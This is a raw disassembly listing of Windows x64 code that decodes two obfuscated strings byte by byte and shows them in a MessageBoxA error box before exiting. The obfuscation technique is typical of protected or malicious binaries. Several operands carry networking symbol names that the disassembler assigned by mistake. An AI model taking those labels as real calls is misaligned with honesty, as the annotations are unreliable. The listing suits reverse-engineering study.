lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x33d], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x33e], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x33f], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x340], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x341], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r15b
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x342], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x343], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x344], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x345], al
mov r9, rbx
lea r8d, [rsi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x346], al
mov r9, rbx
lea r8d, [rsi + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x347], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x348], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + 0x349], al
xor eax, eax
mov byte [rbp + 0x34a], al
mov r12d, eax
mov r9, rbx
mov r8, r12
mov dl, byte [rbp + r12 + 0x339]
lea rcx, [rbp + 0x338]
call fcn.140035de8
mov byte [rbp + r12 + 0x339], al
add r12, rsi
cmp r12, rbx
jb 0x14003586c
xor eax, eax
mov byte [rbp + 0x34a], al
mov byte [rbp + 0x738], 0x5f
mov r9, r14
xor r8d, r8d
mov dl, 0x46
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x739], al
mov r9, r14
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x73a], al
mov r9, r14
mov r8d, 2
mov dl, 0x69
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x73b], al
mov r9, r14
mov r8d, 3
mov dl, 0x6c
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x73c], al
mov r9, r14
mov r8d, 4
mov dl, 0x65
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x73d], al
mov r9, r14
mov r8d, 5
mov dl, 0x64
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x73e], al
mov r9, r14
mov r8d, 6
mov dl, r15b
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x73f], al
mov r9, r14
mov r8d, 7
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x740], al
mov r9, r14
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x741], al
mov r9, r14
mov r8d, 9
mov dl, r15b
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x742], al
mov r9, r14
mov r8d, 0xa
mov dl, 0x43
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x743], al
mov r9, r14
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x744], al
mov r9, r14
mov r8d, ntohs
mov dl, 0x65
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x745], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x61
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x746], al
mov r9, r14
mov r8d, select
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x747], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x748], al
mov r9, r14
mov r8, r13
mov dl, r15b
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x749], al
mov r9, r14
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x74a], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_select
mov dl, 0x65
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x74b], al
mov r9, r14
mov r8, rdi
mov dl, 0x6d
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x74c], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_sendto
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x74d], al
mov r9, r14
mov r8d, reloc.WS2_32.dll_setsockopt
mov dl, WSAStartup
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x74e], al
mov r9, r14
mov r8d, reloc.WLDAP32.dll_Ordinal_22
mov dl, 0x79
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + 0x74f], al
xor eax, eax
mov byte [rbp + 0x750], al
xor ebx, ebx
mov edi, ebx
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi + 0x739]
lea rcx, [rbp + 0x738]
call fcn.140036134
mov byte [rbp + rdi + 0x739], al
add rdi, rsi
cmp rdi, r14
jb 0x140035b40
mov byte [rbp + 0x750], bl
xor r9d, r9d
lea r8, [rbp + 0x339]
lea rdx, [rbp + 0x739]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.14009bc48
int3